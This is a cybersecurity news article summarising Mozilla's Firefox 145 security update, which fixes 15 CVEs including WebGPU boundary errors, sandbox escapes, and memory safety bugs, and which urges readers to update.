    The update tackles 15 CVEs, with eight rated high impact, four moderate, and one low. A standout issue is CVE-2025-13027, a cluster of memory safety bugs discovered by Mozilla’s Fuzzing Team in Firefox 144 and Thunderbird 144.

    These flaws showed signs of memory corruption, and experts believe determined attackers could exploit them to achieve remote code execution, bypassing browser sandboxes and compromising entire devices.

    Such vulnerabilities often stem from buffer overflows or improper memory handling, making them prime targets for sophisticated malware campaigns.

    Firefox 145 – Security Update

    Graphics and WebGPU components bore the brunt of the fixes. CVE-2025-13021, CVE-2025-13022, and CVE-2025-13025 reported by Atte Kettunen and Oskar L, involve incorrect boundary conditions in WebGPU processing.

    These could trigger out-of-bounds reads or writes, potentially leading to crashes or code injection during the rendering of malicious web content.

    More alarmingly, CVE-2025-13023 and CVE-2025-13026 enable sandbox escapes, allowing restricted code to escape the sandbox and access sensitive system resources.

    Reporters Oskar L and Jamie Nicol highlighted how these bugs exploit WebGPU’s high-performance rendering, a feature increasingly targeted as web apps grow more graphics-intensive.

    JavaScript-related flaws add to the urgency. CVE-2025-13016, from Igor Morgenstern, fixes boundary errors in WebAssembly, while CVE-2025-13024, uncovered by Project KillFuzz of Qrious Secure, resolves JIT miscompilation that could optimize malicious code for execution.

    A race condition in the Graphics component (CVE-2025-13012, by Irvan Kurniawan) further risks timing-based attacks.

    Moderate-impact issues include same-origin policy bypasses in DOM components (CVEs-2025-13017, -13019) and mitigations in security and HTML parsing (CVEs-2025-13018, -13013).

    WebRTC vulnerabilities like use-after-free errors (CVEs-2025-13020, -13014) could expose audio/video streams, while a low-impact spoofing bug (CVE-2025-13015) affects UI integrity.

    CVE IDComponentDescription
    CVE-2025-13021Graphics: WebGPUIncorrect boundary conditions
    CVE-2025-13022Graphics: WebGPUIncorrect boundary conditions
    CVE-2025-13012GraphicsRace condition
    CVE-2025-13023Graphics: WebGPUSandbox escape due to incorrect boundary conditions
    CVE-2025-13016JavaScript: WebAssemblyIncorrect boundary conditions
    CVE-2025-13024JavaScript Engine: JITJIT miscompilation
    CVE-2025-13025Graphics: WebGPUIncorrect boundary conditions
    CVE-2025-13026Graphics: WebGPUSandbox escape due to incorrect boundary conditions
    CVE-2025-13017DOM: NotificationsSame-origin policy bypass
    CVE-2025-13018DOM: SecurityMitigation bypass
    CVE-2025-13019DOM: WorkersSame-origin policy bypass
    CVE-2025-13013DOM: Core & HTMLMitigation bypass
    CVE-2025-13020WebRTC: Audio/VideoUse-after-free
    CVE-2025-13014Audio/VideoUse-after-free
    CVE-2025-13015FirefoxSpoofing issue
    CVE-2025-13027Multiple (Memory safety)Memory safety bugs fixed in Firefox 145 and Thunderbird 145; evidence of memory corruption, potential for arbitrary code execution

    Mozilla emphasizes that no in-the-wild exploitation has been confirmed, but the high impact, especially the potential for arbitrary code execution, warrants swift action. Users on unpatched versions face elevated risks from drive-by downloads or phishing sites.

    The advisory also covers Thunderbird 145 for similar memory issues. To stay secure, download Firefox 145 from mozilla.org or enable auto-updates. Enterprises should scan for vulnerable instances and review WebGPU usage in custom apps.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Firefox Releases Security Update to Fix Multiple Vulnerabilities Allowing Arbitrary Code Execution appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶